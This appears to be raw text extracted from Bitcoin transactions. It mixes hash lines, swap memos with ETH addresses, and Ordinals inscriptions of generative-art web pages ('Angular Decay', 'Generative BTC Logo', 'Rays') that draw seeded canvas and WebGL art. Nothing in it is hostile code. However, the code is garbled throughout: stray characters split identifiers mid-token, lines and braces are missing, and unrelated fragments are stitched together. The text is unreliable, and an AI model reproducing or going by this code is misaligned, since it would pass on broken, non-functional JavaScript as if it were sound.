FjDOUT:E928411B56B2D99E37216CA9460A295B570BFE66615E3DC90FCD46262E014194
FjDOUT:938C8693FDF9D2CA27D3189B8CE8F30A2132E8FFD0FE9690F3A189FD0F429F2F
text/plain;charset=utf-8
Ordinals War 2023!h!
FjDOUT:AF73AD2571B5DA5CE54DA1BECDEEF9B96F98448EF1B7BE8E436D19DAC0BBF888
FjDOUT:74852666B5BD68618D10755526D5DB8A957F3BE6326C87B8DA88E805F2CFF5F8
FjDOUT:7E3B35D27BD63779DA692121BF529103264372CB1AE4825F86D15863C0080042
FjDOUT:7B0F5A49A473FD24F367342985A70DA43E6A205608CFF8506AE58AFD6E123885
DjBs:ETH.ETH:0xB59BeFE8954D22D976dF30070EAd1cD50163d0ba:17581654:ss:0
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/html;charset=utf-8
<meta charset="UTF-8">
<title>Angular Decay</title>
<script id="snippet-random-code" type="text/javascript">
let seed = window.location.href.split('/').find(t => t.includes('i0'));
const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
let pattern = "seed=";
for (let i = 0; i <M
 seed.length - pattern.length; ++i) {
if (seed.substring(i, i + pattern.length) == pattern) {
seed = seed.substring(i + pattern.length);
function cyrb128($) {
let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(lM
 ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
function sfc32($, _, u, i) {
return function () {
var l = ($ >>>= 0) + (_ >>>= 0) | 0;
return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
let mathRand = sfc32(...cyrb128(seed));
<style>body {margin: 0px;} </style>M
<canvas id="target"></canvas>
<script type="text/javascript">
const rand = mathRand();
const rand2 = mathRand();
let sqpix,cp,ratio=0.707,bug=false;
if(rand<0.3){sqpix=0;zoom=false;return"Portrait";}
if(rand<0.6){sqpix=0;ratio=1.414;return"Lanscape";}
if(rand<0.95){sqpix=1;return"Square";}
sqpix=1;bug=1;return"Bugged";}
if(rand<0.07){cp=12;return "Paper";}
if(rand<0.14){cp=1;return "DPM";}
if(rand<0.21){cp=2;return "Fecktarn";}
if(rand<0.41){cp=4;return "Desert Drill";}
if(rand<0.5){cp=5;return "Urban";}
if(rand<0.6){cp=6;return "Navy";}
if(rand<0.7){cp=7;return "German Winter";}
if(rand<0.8){cp=8;return "Tree";}
if(rand<0.85){cp=9;return "Orange";}
if(rand<0.9){cp=10;return "Harris";}
if(rand<0.95){cp=11;return "Market";}
cp=0;return "Saint";}
window.$generativeTraits = {"View": T1(rand),"Pallet": T2(rand2) }
const container = document.createElement("div")
container.innerHTML = "<span>seed: " + seed + "</spM
let resizeTmr=null,aniFrame=null;
let ofw,ofh,sz,rz=1;
let gi=0,gj=0,drp=0,drawtot=2,bmp,artcols=[];
var tricount=0,tr=30;
var tx1=[],ty1=[],tx2=[],ty2=[],tx3=[],ty3=[];
var rx1=[],ry1=[],rx2=[],ry2=[],rx3=[],ry3=[];
const init = async () => {
window.addEventListener('resize', async () => {
clearTimeout(resizeTmr)
resizeTmr = setTimeout(async () => {
await layoutCanvas()
await layoutCanvas()
const layoutCanvas = async () => {
const wWidth=window.innerWidth
const wHeight=window.innerHeight
let cHeight=wHeight;
let cWidth=cHeight*ratio;
if(cWidth>wWidth){cWidth=wWidth;cHeight=cWidth/ratio;}
const canvas=document.getElementById('target')
canvas.width=2000*rz;
canvas.height=(2000*rz)/ratio;
canvas.style.position = 'absolute'
canvas.style.width = `${cWidth}px`
canvas.style.height = `${cHeight}px`
canvas.style.left = `${(wWidth - cWidth) / 2}px`
canvas.style.top = `${(wHeight - cHeight) / 2}pM
const drawCanvas = async () => {
if(!tried) setupart();
if (aniFrame) window.cancelAnimationFrame(aniFrame)
const canvas=document.getElementById('target')
const ctx=canvas.getContext('2d')
{let bx=ofw/500,by=ofh/500;
ctx.globalAlpha=0.05;
for(let f=10;f<30; f++){
for(let i=0;i<500; i++){
drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'#ffffff');
drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'M
if(gj>500) { drp=3; gj=0; }
for(let f=0;f<tc;f++){
if(bug) dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz*sz,ty2[f]*sz, artcols[1], 1*sz);
else dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz,ty2[f]*sz, artcols[1], 1*sz);
dl(ctx, tx2[f]*sz,ty2[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);
dl(ctx, tx1[f]*sz,ty1[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);}
for(let f=0;f<rc;f++){
dl(ctx, rx1[f]*sz,ry1[f]*sz, rx2[f]*sz,ry2[f]*sz, artcols[2], 1*sz);
,ry2[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);
dl(ctx, rx1[f]*sz,ry1[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);}
ctx.fillStyle = artcols[0];
ctx.fillRect(0,0,ofw,ofh);
mathRand = sfc32(...cyrb128(seed));
tc=0;rc=0;tricount=0;tr=30;bmp=0;
triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr));
tricount=1000;tr=rir(10,50);dor=true;bmp=0;
triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr));
aniFrame = window.requestAnimationM
function triharder( x1,y1, x2,y2)
if(tricount>2500) return;
var x3=x1+rir(-tr,tr);
var y3=y1+rir(-tr,tr);
if(x3<0){x3+=tr;bmp++}
if(x3>1000){x3-=tr;bmp++}
if(y3<0){y3+=tr;bmp++}
if(y3>1000/ratio){y3-=tr;bmp++}
if(dor) {rx1[rc]=x1;ry1[rc]=y1;rx2[rc]=x2;ry2[rc]=y2;rx3[rc]=x3;ry3[rc]=y3;rc++; }
else {tx1[tc]=x1;ty1[tc]=y1;tx2[tc]=x2;ty2[tc]=y2;tx3[tc]=x3;ty3[tc]=y3;tc++;}
if(bmp>15){bmp=0; x3=y3=500;x1=rir(500,500+tr);y1=rir(500,500+tr);x2=rir(500,500-tr);y2=rir(500,500-M
triharder(x3,y3, x1,y1);
if(ri(100)>20) triharder(x3,y3, x2,y2);
const autoDownloadCanvas = async () => {
const element = document.createElement('a')
element.setAttribute('download',`Angular-${ofw}x${ofh}-${seed}`)
element.style.display = 'none'
document.body.appendChild(element)
let imageBlob = null
imageBlob = await new Promise(resolve => document.getElementById('target').toBlob(resolve, 'image/png'))
element.setAttribute('href', window.URL.createObjectURL(imageBlob, {
document.body.removeChild(element)
document.addEventListener('keypress', async (e) => {
e = e || window.event
if (e.key === 's') autoDownloadCanvas()
if (e.key === 'h') { rz++;if(rz>5)rz=1;drp=0;gi=0;gj=0;await layoutCanvas() }
function drawEllipse(ctx,x,y,rx,ry,fill) {
ctx.ellipse(x, y, rx, ry, 0, 0, 2 * Math.PI);
if (fill) {ctx.fillStyle = fill;ctx.fill();}
function dl(ctx,lx,ly,ex,ey,stroke,width) {
if (stroke) {ctx.strokeStyle = stroke;}
if (width) {  ctx.linM
ctx.beginPath();ctx.moveTo(lx,ly);ctx.lineTo(ex,ey);ctx.stroke();
if(cp==12)artcols=['#EDECE0','#303030','#880808'];
if(cp==0) artcols=['#F0BEB2','#F25B40','#3A8D3B'];
if(cp==11)artcols=['#4F97BA','#F9E1B5','#BD2C41'];
if(cp==1) artcols=['#25201E','#D3A252','#686C22'];
if(cp==2) artcols=['#B4CBCA','#1F5FB3','#355026'];
if(cp==3) artcols=['#D1C7C5','#6E5247','#8D695D'];
if(cp==4) artcols= ['#E4DBBE','#8BB8B3','#AF799A'];
if(cp==5) artcols= ['#B8B8B3','#474747','M
if(cp==6) artcols= ['#A6B2C7','#323642','#394A69'];
if(cp==7) artcols= ['#E6E6E4','#343523','#B2B2AD'];
if(cp==8) artcols= ['#A9A18E','#706B5C','#606A4D'];
if(cp==9) artcols= ['#EDECE0','#944645','#F25D34'];
if(cp==10) artcols= ['#9FA6A4','#77694E','#B54933'];
function ri( x){  return Math.floor(mathRand()*x);}
function rir(x,y){ let nr = (y - x) ; return  Math.floor((mathRand()*nr) + x); }
text/plain;charset=utf-8
FjDOUT:51E8DDFD3DCD10A71EB7F15411614CE3F8AAEAEDA7D5373ADD9DA1180C8A7ACF
text/plain;charset=utf-8
Ordinals Wallet #1h!
6j4ion:2.QmSuLjbwCP1fAhng7r6wbFc52D4jk9qzNT1yFVNo6MDo9J`
Aj?=:ETH.ETH:0x70a1d14c5e41b24DE2f3931a394Da4d1907C4FEf:5156660::0
FjDOUT:97782A34305EC73BABB321BE3F4EE3019AA50C17B6FCAD45FFF5B1E883736385
FjDOUT:C720AC6C28203079EAA876F74EEE72711DD0F2C4420FAFAC5AC88F4D5CF740A6
FjDOUT:F04F75628F452A34839D961A10122DF289C83EE6E9C82302B286F9AE0F5D69FC
FjDOUT:5BFB1D487A486A4A1BF184BD15F8E3ED91E6B55E4D3AB14BD5861BA440E97C79
FjDOUT:55095F1494EE62360DF4F2189A4E2BC8BEC67B74F1328CC47B32E718DF723BB3
FjDOUT:9F55D2F1F5BA9AA3401C403380EF7CD56F4E0941DAC7D796CB14F013EC5ECA82
FjDOUT:6DD9C3E03B5FF1C4B1976CDC0F032546B59DF9B0A0478B5E3DDAA25CD2F01C2D
text/plain;charset=utf-8
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"
text/html;charset=utf-8
    <meta charset="UTF-8">
    <title>GENERATIVE BTC LOGO</title>
    <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script>
    <script id="snippet-contract-code" type="text/javascript">
        const tokenIdRand = (Math.floor(Math.random() * 1000000) + 1) * 1000000 + (Math.floor(Math.random() * 100) + 1);
        let tokenData = {
            "tokenId": tokenIdRand,
            "seed": tokenIdRand.toString(),
    <script id="snippet-random-code" type="text/javascript">
        const urlSeed = new URLSearchParams(window.location.search).get('seed');
        if (urlSeed && urlSeed.length > 0) {
            tokenData.seed = urlSeed;
        const seed = tokenData.seed
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
            for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.iM
mul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
            return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfc32($, _, u, i) {
            return function () {
                u >>>= 0, i >>>= 0;
                var l = ($ >>>= 0) + (_ >>>= 0) | 0;
               return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
        // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation.
        // This function generates a random number between 0 and 1 with on-chain seed.
        let mathRand = sfc32(...cyrb128(seed));
            position: fixed;
            right: 0;
            bottom: 0;
            left: 0;
            color: rgb(255, 255, 255);
            background-color: rgb(0, 0, 0);
            display: flex;
            justify-content: center;
            align-items: center;
            margin: 0;
            padding: 0;
            font-size: 0.8em;
            /* overflow: hidden; */
            object-fit: contain;
            max-height: 100%;
            max-width: 100%;
        #fullScreen {
       display: flex;
            position: fixed;
            right: 0;
            bottom: 0;
            left: 0;
            justify-content: center;
            align-items: center;
        #fullScreen canvas {
            object-fit: contain;
            max-height: 100%;
            max-width: 100%;
            color: rgb(249, 249, 249);
            opacity: 0.75;
            background-color: rgb(23, 23, 23);
            border-radius: 10px;
        padding-top: 0%;
            width: auto;
            height: auto;
            position: fixed;
            text-align: center;
            justify-content: center;
            align-items: center;
            top: 50%;
            left: 50%;
            -webkit-transform: translate(-50%, -50%);
            transform: translate(-50%, -50%);
        #progress h2 {
            display: block;
            font-size: 0.9rem;
            color: rgb(239, 239, 239);
            margin: 5%
            font-size: 0.75rem;
            display: block;
            margin: 5%
        #progress hr {
            width: 75%;
            margin-bottom: 10%
    <div id="fullScreen">
        <div id="progress">
            <script type="text/javascript">
                ////////////////INFO & FEATURES
                let title = "Generative BTC Logo";
                let st;
                const rand = mathRand();
                let cnv;
                let maxBrush = Math.floor(randBetween(500, 1500))
                function clr(rand) {
                    if (rand > 0.75) {
                        return 240
                    } else {
                        return 10
                    }
                window.$generativeTraits = {
                    "BG Color": clr(rand),
                    "Force": Math.floor(randBetween(1, 5)),
                    "Brush Size": maxBrush,
                console.loM
g(title + " | smldms 2023.02")
                console.log(window.$generativeTraits)
                let img;
                let balls = [];
                let maxFrame = 1500;
                let maxForce = 1;
                function preload() {
                    img = loadImage('https://gateway.pinata.cloud/ipfs/QmQVs9Xpa5e1JDooNiTPWct2kEorxwqk92A1HkHrn8jx1V');
                function setup() {
                    randomSeed(seed);
                    noiseSeed(seed);
     cnv = createCanvas(1920, 1920, WEBGL);
                    cnv.parent(fullScreen)
                    img.resize(width, height)
                    background(clr(rand));
                function draw() {
                    rotateY(sin(frameCount * 0.05) / 25)
                    translate(-width / 2, -height / 2, frameCount * 0.25)
                    let x = mathRand() * width
                    let y = mathRand() * height
                    for (let i = 0; i < balls.length; i++) {
                      balls[i].draw();
                        balls[i].update();
                        balls[i].changeColour();
                    }
                    for (let i = 0; i < balls.length; i++) {
                        if (balls[i].radius < 0) {
                            balls.splice(i, mathRand() * 2);
                        }
                    }
                    if (frameCount < maxFrame) {
                        for (let i = 0; i < 5; i++) {
                            balls.push(neM
w Ball(x, y, color(img.get(x + mathRand() * 2, y + mathRand() * 2))));
                        }
                    }
                    else {
                        noLoop()
                        print('stop')
                        // saver()
                        // timer(2000)
                    }
                class Ball {
                    constructor(mX, mY, c) {
                        this.location = createVector(mX, mY);
                        this.radius = randBetween(0M
                        this.r = red(c);
                        this.g = green(c);
                        this.b = blue(c);
                        this.a = alpha(c);
                        this.xOff = 0.0;
                        this.yOff = 0.0;
                    }
                    update() {
                        this.radius -= mathRand() * 0.00025;
                        let force = randBetween(0.5, maxForce)
                        this.xOff = this.xOff + randBetween(-force, force);
                      this.nX = noise(this.location.x) * this.xOff;
                        this.yOff = this.yOff + randBetween(-force, force);
                        this.nY = noise(this.location.y) * this.yOff;
                        this.location.x += this.nX;
                        this.location.y += this.nY;
                    }
                    changeColour() {
                        this.c = color(img.get(this.location.x, this.location.y));
                        this.r = red(this.c);
               this.g = green(this.c);
                        this.b = blue(this.c);
                        this.a = alpha(this.c);
                    }
                    draw() {
                        noStroke();
                        fill(this.r, this.g, this.b);
                        let brushSize = round(randBetween(1, maxBrush));
                        if (this.a > 10) {
                            strokeWeight(randBetween(0.25,0.5))
                            if (clr(rand) == 240) {
                    stroke(10)
                            }
                            else {
                                stroke(250)
                            }
                            ellipse(this.location.x, this.location.y, this.radius * brushSize, this.radius * brushSize);
                        }
                        else {
                            fill(this.r, this.g, this.b, 100)
                            noStroke()
                            rect(this.location.x, this.location.y, thisM
.radius * brushSize / randBetween(2.5, 5));
                        }
                    }
                function randBetween(a, b) {
                    if (!b) {
                        return mathRand() * a
                    }
                    return mathRand() * (b - a) + a
                function keyTyped() {
                    if (keyCode === 83) { // if "s" is pressed
                        save(title + '.png');
                    }
          function timer(t) {
                    setTimeout(function () {
                        location.reload(true);
                    }, t);
                function saver() {
                    save(title + '.png');
            </script>
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"
text/html;charset=utf-8
    <meta charset="UTF-8">
    <title>"Rays" by Pawe
 Dudko | pdudko.com</title>
    <script id="snippet-random-code" type="text/javascript">
        // not editable
        let seed = window.location.href.split('/').find(t => t.includes('i0'));
        if (seed == null) {
            const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
            seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() *M
 alphabet.length) | 0]).join('') + "i0";
            let pattern = "seed=";
            for (let i = 0; i < seed.length - pattern.length; ++i) {
                if (seed.substring(i, i + pattern.length) == pattern) {
                    seed = seed.substring(i + pattern.length);
                    break;
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
            for (let n = 0, r; n < $.lengthM
; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
            return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfc32($, _, u, i) {
            return function () {
    u >>>= 0, i >>>= 0;
                var l = ($ >>>= 0) + (_ >>>= 0) | 0;
                return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
        let mathRand = sfc32(...cyrb128(seed));
            margin: 0;
            padding: 0;
            overflow: hidden;
  <canvas id="myCanvas"></canvas>
<script type="text/jaM
console.log("seed:",seed);class Rnd{rD(){return mathRand()}rN(r,t){return r+(t-r)*this.rD()}rI(r,t){return Math.floor(this.rN(r,t+1))}rB(r){return this.rD()<r}}const R=new Rnd;class Perlin{constructor(){this.R=new Rnd,this.grad3=[[1,1,0],[-1,1,0],[1,-1,0],[-1,-1,0],[1,0,1],[-1,0,1],[1,0,-1],[-1,0,-1],[0,1,1],[0,-1,1],[0,1,-1],[0,-1,-1]],this.p=[];for(var r=0;r<256;r++)this.p[r]=Math.floor(256*this.R.rD());for(this.perm=[],r=0;r<512;r++)this.perm[r]=this.p[255&r];this.simplex=[[0,1,2,3],[0,1,3M
,2],[0,0,0,0],[0,2,3,1],[0,0,0,0],[0,0,0,0],[0,0,0,0],[1,2,3,0],[0,2,1,3],[0,0,0,0],[0,3,1,2],[0,3,2,1],[0,0,0,0],[0,0,0,0],[0,0,0,0],[1,3,2,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[1,2,0,3],[0,0,0,0],[1,3,0,2],[0,0,0,0],[0,0,0,0],[0,0,0,0],[2,3,0,1],[2,3,1,0],[1,0,2,3],[1,0,3,2],[0,0,0,0],[0,0,0,0],[0,0,0,0],[2,0,3,1],[0,0,0,0],[2,1,3,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[2,0,1,3],[0,0,0,0],[0,0,0,0],[0,0,0,0],[3,0,1,2],[3,0,2M
,1],[0,0,0,0],[3,1,2,0],[2,1,0,3],[0,0,0,0],[0,0,0,0],[0,0,0,0],[3,1,0,2],[0,0,0,0],[3,2,0,1],[3,2,1,0]]}dot(r,t,e){return r[0]*t+r[1]*e}noise(r,t){var e,i,a=(r+t)*(.5*(Math.sqrt(3)-1)),o=Math.floor(r+a),l=Math.floor(t+a),n=(3-Math.sqrt(3))/6,s=(o+l)*n,g=r-(o-s),c=t-(l-s);g>c?(e=1,i=0):(e=0,i=1);var d=g-e+n,f=c-i+n,p=g-1+2*n,A=c-1+2*n,m=255&o,F=255&l,E=this.perm[m+this.perm[F]]%12,u=this.perm[m+e+this.perm[F+i]]%12,R=this.perm[m+1+this.perm[F+1]]%12,h=.5-g*g-c*c,B=.5-d*d-f*f,D=.5-p*p-A*A;return 70*((h<0?0:(h*=h)*h*M
this.dot(this.grad3[E],g,c))+(B<0?0:(B*=B)*B*this.dot(this.grad3[u],d,f))+(D<0?0:(D*=D)*D*this.dot(this.grad3[R],p,A)))}}const perlin=new Perlin;function map(r,t,e,i,a){return i+(a-i)*(r-t)/(e-t)}let bckCol,dim=Math.min(window.innerWidth,window.innerHeight),spots=R.rI(10,25),radius=[],m=[],mOff=1e-4*R.rN(1,7),x=[],y=[],z=[],S=30,sRot=[],b=1,bOffset=R.rN(0,.005),bMag=1,xOff=[],yOff=[],pC=[],noiseFeat=mathRand()>.79,pFeat=R.rI(1,24),angleFeat=mathRand()>.87?0:mathRand()<.1?1:2,colorBackground=R.rI(0,1);const PI=Math.M
PI,TWO_PI=2*PI;let blurV=[];blurV=blurV=0==angleFeat?[R.rN(0,R.rN(0,1)),0]:1==angleFeat?[0,R.rN(0,R.rN(0,1))]:[R.rN(-.9,.9),R.rN(0,.9)],Math.pow(blurV[0],2)+Math.pow(blurV[1],2)<.18&&(blurV[0]>blurV[1]?blurV[0]+=.35:blurV[1]+=.35);const vs2="attribute vec2 a_position;attribute vec2 a_texCoord;uniform vec2 u_resolution;varying vec2 v_texCoord;\nvoid main(){vec2 clipSpace=a_position/u_resolution*2.0-1.0;gl_Position=vec4(clipSpace*vec2(1,-1),0,1);v_texCoord=a_texCoord;}",fs2="precision mediump float;uniform sampler2D M
u_image;varying vec2 v_texCoord;uniform vec2 dl;float rnd(vec3 scale,float seed){return fract(sin(dot(gl_FragCoord.xyz+seed,scale))*43758.5453+seed);}\nvoid main(){vec4 col=vec4(0.0);float tt=0.0;float off=rnd(vec3(12.9898,78.233,151.7182),0.0);for(float t=-30.0;t<=30.0;t++){float pc=(t+off-0.5)/30.0;float w=1.0-abs(pc);vec4 spl=texture2D(u_image,v_texCoord+dl*pc);spl.rgb*=spl.a;col+=spl*w;tt+=w;}gl_FragColor=col/tt;}";function setup(){for(i=0;i<spots;i++)radius[i]=R.rI(dim/100,dim/4),m[i]=R.rN(0,100),x[i]=R.rN(0,dM
im),y[i]=R.rN(0,dim),z[i]=R.rN(0,dim),xOff[i]=R.rN(4,10),yOff[i]=R.rN(4,10),sRot[i]=R.rN(0,TWO_PI);if(noiseFeat){let r=R.rI(20,200);for(i=0;i<r;i++)radius[spots+i]=R.rI(dim/400,dim/100),m[spots+i]=R.rN(0,10),y[spots+i]=R.rN(0,dim),z[spots+i]=R.rN(0,dim),x[spots+i]=R.rN(0,dim),xOff[spots+i]=R.rN(4,10),yOff[spots+i]=R.rN(4,10),sRot[spots+i]=R.rN(0,PI);spots+=r}angle=0==angleFeat?-PI/4:1==angleFeat?PI/4:R.rN(0,PI),p=pFeat;let r=1==p?["#0B1626","#2F1517","#4599B5","#A83882","#B4DDDD","#DBBEF2"]:2==p?["#0B1626","#2F1517M
","#4599B5","#A84B28","#B4DDDD","#C4E4A2"]:3==p?["#140000","#021c13","#003924","#005841","#750100","#990100","#d7bb30","#ccae00"]:4==p?["#1D1702","#2B0426","#650427","#AD2C00","#ddac0a","#c6c339","#E55130"]:5==p?["#200e36","#2B0426","#366290","#E27D52","#D3EAC0","#EDC557","#A8DAB9"]:6==p?["#200A0E","#080811","#006978","#170F08","#FBFBD6","#02E7CA","#729C9D"]:7==p?["#0A0A3D","#041604","#00C075","#87C000","#F9BD27","#FE8900","#FE003B"]:8==p?["#2A0002","#14060B","#664C4C","#EF3B01","#C11900","#A20005"]:9==p?["#000000"M
,"#0B1626","#68D1E6","#A6DAD7","#DFE3CB","#F2852F","#F96800"]:10==p?["#000000","#2F1517","#2AABCF","#6CBAB5","#C3CAA1","#E54508","#F32A00"]:11==p?["#200e36","#1A0210","#e04372","#5aa9e6","#4a4e69","#e04372","#e6b953"]:12==p?["#131303","#040207","#EFA72F","#EF7717","#77BFA7","#FBEAB5","#5D402E"]:13==p?["#1E1E3D","#002030","#009FAF","#CB323E","#EA6740","#ECC850"]:14==p?["#1E1E3D","#292B30","#592D2D","#DEB968","#FEFDDE","#3D4046"]:15==p?["#040207","#002030","#60A5AA","#FAEDC1","#5F5850","#C0B297"]:16==p?["#0F0F00","#0M
30313","#9C8C68","#FDA5A1","#9E7B52","#E1CC92"]:17==p?["#0A0A1A","#120202","#FF8B00","#000000","#649EE8","#917FFF"]:18==p?["#020202","#0A0A1A","#09BEBB","#12737C","#28211E","#FB344B"]:19==p?["#000000","#200B01","#F92900","#F1D593","#85B7B0","#EFD7A7"]:20==p?["#000000","#1A1A1A","#F35C4B","#F6A440","#F9C965","#FDE4AC","#FFFFB1"]:21==p?["#0D1626","#091425","#051738","#204E75","#005151","#A0995F"]:22==p?["#000000","#091425","#764E37","#DF8D78","#F0D3AE","#C4DFDB"]:23==p?["#020202","#1A1A1A","#605274","#8DB1C4","#F8BE7M
5","#E4615B","#D0303C"]:["#050505","#0F0F0F","#000000","#7F7F7F","#333333","#E5E5E5","#F0F0F0"];pC.push(...r);let t=pC.length-1;for(ii=0;ii<3;ii++)for(i=t-1;i<=t;i++)pC.push(pC[i])}var c=document.createElement("canvas");c.width=dim,c.height=dim;var ctx=c.getContext("2d");function draw(){for(ctx.beginPath(),ctx.rect(0,0,c.width,c.height),ctx.fillStyle=pC[colorBackground],ctx.fill(),i=0;i<spots;i++){let r=pC[i%pC.length],t=map(perlin.noise(m[i],i),-1,1,-dim/xOff[i],dim/xOff[i]),e=map(perlin.noise(m[i],i+200),-1,1,-diM
m/yOff[i],dim/yOff[i]),a=map(perlin.noise(10*m[i],i+999),-1,1,-radius[i]/20,radius[i]/20);ctx.beginPath(),ctx.arc(x[i]+t,y[i]+e,radius[i]+a,0,2*Math.PI),ctx.fillStyle=r,ctx.fill(),m[i]+=mOff}bMag=map(perlin.noise(b,spots),-1,1,.8,1.2),render(),b+=bOffset,window.requestAnimationFrame(draw)}function createShader(r,t,e){var i=r.createShader(t);if(r.shaderSource(i,e),r.compileShader(i),r.getShaderParameter(i,r.COMPILE_STATUS))return i;r.deleteShader(i)}function createProgram(r,t,e){var i=r.createProgram();if(r.attachShM
ader(i,t),r.attachShader(i,e),r.linkProgram(i),r.getProgramParameter(i,r.LINK_STATUS))return i;r.deleteProgram(i)}function setRectangle(r,t,e,i,a){let o=t,l=t+i,n=e,s=e+a;r.bufferData(r.ARRAY_BUFFER,new Float32Array([o,n,l,n,o,s,o,s,l,n,l,s]),r.STATIC_DRAW)}setup(),window.requestAnimationFrame(draw);const canvasGL=document.getElementById("myCanvas");canvasGL.width=dim,canvasGL.height=dim;const gl=canvasGL.getContext("webgl");var vertexShader=createShader(gl,gl.VERTEX_SHADER,vs2),fragmentShader=createShader(gl,gl.FRM
AGMENT_SHADER,fs2),program=createProgram(gl,vertexShader,fragmentShader),positionLocation=gl.getAttribLocation(program,"a_position"),texcoordLocation=gl.getAttribLocation(program,"a_texCoord"),positionBuffer=gl.createBuffer();gl.bindBuffer(gl.ARRAY_BUFFER,positionBuffer),setRectangle(gl,0,0,c.width,c.height);var texcoordBuffer=gl.createBuffer();gl.bindBuffer(gl.ARRAY_BUFFER,texcoordBuffer),gl.bufferData(gl.ARRAY_BUFFER,new Float32Array([0,0,1,0,0,1,0,1,1,0,1,1]),gl.STATIC_DRAW);var texture=gl.createTexture();gl.binM
dTexture(gl.TEXTURE_2D,texture),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_WRAP_S,gl.CLAMP_TO_EDGE),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_WRAP_T,gl.CLAMP_TO_EDGE),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_MIN_FILTER,gl.NEAREST),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_MAG_FILTER,gl.NEAREST);var resolutionLocation=gl.getUniformLocation(program,"u_resolution"),blurVectorLocation=gl.getUniformLocation(program,"dl");function render(){if(gl){gl.texImage2D(gl.TEXTURE_2D,0,gl.RGBA,gl.RGBA,gl.UNSIGNED_BYTE,ctx.canvas),M
gl.useProgram(program),gl.enableVertexAttribArray(positionLocation),gl.bindBuffer(gl.ARRAY_BUFFER,positionBuffer);var r=gl.FLOAT,t=0;gl.vertexAttribPointer(positionLocation,2,r,false,0,t),gl.enableVertexAttribArray(texcoordLocation),gl.bindBuffer(gl.ARRAY_BUFFER,texcoordBuffer),gl.vertexAttribPointer(texcoordLocation,2,r,false,0,t),gl.uniform2f(resolutionLocation,gl.canvas.width,gl.canvas.height),gl.uniform2f(blurVectorLocation,blurV[0]*bMag,blurV[1]*bMag);var e=gl.TRIANGLES;t=0;gl.drawArrays(e,t,6)}else console.loMo
g("Needs WebGL to run")}gl.viewport(0,0,gl.canvas.width,gl.canvas.height);
window.$generativeTraits = {
  "Palette": pFeat,
  "Noisy": noiseFeat,
  "Angle": angleFeat == 0 ? 'horizontal' : angleFeat == 1 ? 'vertical' : 'diagonal'
console.log(window.$generativeTraits)
text/html;charset=utf-8
